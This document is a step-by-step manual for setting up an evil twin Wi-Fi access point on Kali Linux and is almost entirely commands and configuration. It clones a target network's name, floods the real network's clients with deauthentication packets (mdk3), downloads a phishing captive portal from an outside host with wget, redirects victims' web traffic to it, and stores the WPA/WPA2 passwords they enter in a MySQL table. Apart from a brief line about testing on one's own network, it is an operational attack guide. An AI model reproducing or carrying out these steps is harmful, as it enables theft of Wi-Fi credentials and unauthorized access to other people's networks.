Evil Twin Access Point – Manual

📌 Prerequisites

- Kali Linux with root access
- Wi-Fi adapter supporting monitor mode & packet injection
- Internet connection for initial setup
- Tools: aircrack-ng, mdk3, mysql, apache2, dhcp-server

⚙ Step 1 – Install DHCP Server

```
apt-get install isc-dhcp-server
```

Edit the DHCP configuration:

```
nano /etc/dhcp/dhcpd.conf
```

Insert:

```
authoritative;

default-lease-time 600;

max-lease-time 6000;

subnet 192.168.1.128 netmask 255.255.255.128 {

 option subnet-mask 255.255.255.128;

 option broadcast-address 192.168.1.255;

 option routers 192.168.1.129;

 option domain-name-servers 8.8.8.8;

 range 192.168.1.130 192.168.1.140;

}
```

Save (CTRL+X, then Y).

⚙ Step 2 – Setup Captive Portal (Web Interface)

```
cd /var/www

rm index.html

wget http://hackthistv.com/eviltwin.zip
```

```
unzip eviltwin.zip

rm eviltwin.zip
```

Start services:

```
/etc/init.d/mysql start

/etc/init.d/apache2 start
```

⚙ Step 3 – Setup MySQL Database

```
mysql -u root
```

Inside MySQL:

```
create database evil_twin;

use evil_twin;

create table wpa_keys(password varchar(64), confirm varchar(64));
```

⚙ Step 4 – Identify Network Interfaces

```
ip route        # check local IP

airmon-ng start wlan0

airodump-ng-oui-update
```

Scan targets:

```
airodump-ng mon0
```

Record: **ESSID, BSSID, Channel**

⚙ Step 5 – Launch Evil Twin AP

```
airbase-ng -e [ESSID] -c [CHANNEL] -P mon0
```

Configure tunnel interface:

```
ifconfig at0 192.168.1.129 netmask 255.255.255.128
```

⚙️ Step 6 – Enable Routing & Forwarding

```
route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129

echo 1 > /proc/sys/net/ipv4/ip_forward


iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

iptables -A FORWARD -i at0 -j ACCEPT

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.129:80
```

Start DHCP:

```
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0

/etc/init.d/isc-dhcp-server start
```

⚙️ Step 7 – Disconnect Targets & Force Reconnect

```
echo [BSSID] > blacklist

mdk3 mon0 d -b blacklist -c [CHANNEL]
```

⚙️ Step 8 – Capture WPA/WPA2 Keys

- Monitor Airbase-ng terminal for connections.
- When victim connects, portal requests WPA/WPA2 key.

Check MySQL database:

```
mysql -u root

use evil_twin;

select * from wpa_keys;
```

📄 Parameters Table

Parameter	Example Value
Subnet	192.168.1.128/25
Gateway (AP)	192.168.1.129

Parameter	**Example Value**
IP Range	192.168.1.130–192.168.1.140
DNS Server	8.8.8.8
Tunnel IF	at0
Local IF	eth0 (or wlan0)

⚠ Notes & Tips

- Test only on **your own Wi-Fi** or with explicit permission.
- Wi-Fi card must support **monitor mode & injection**.
- mon0 may vary (wlan0mon in newer tools).
- If DHCP fails, restart service and verify config.
- Use tcpdump/wireshark for additional monitoring.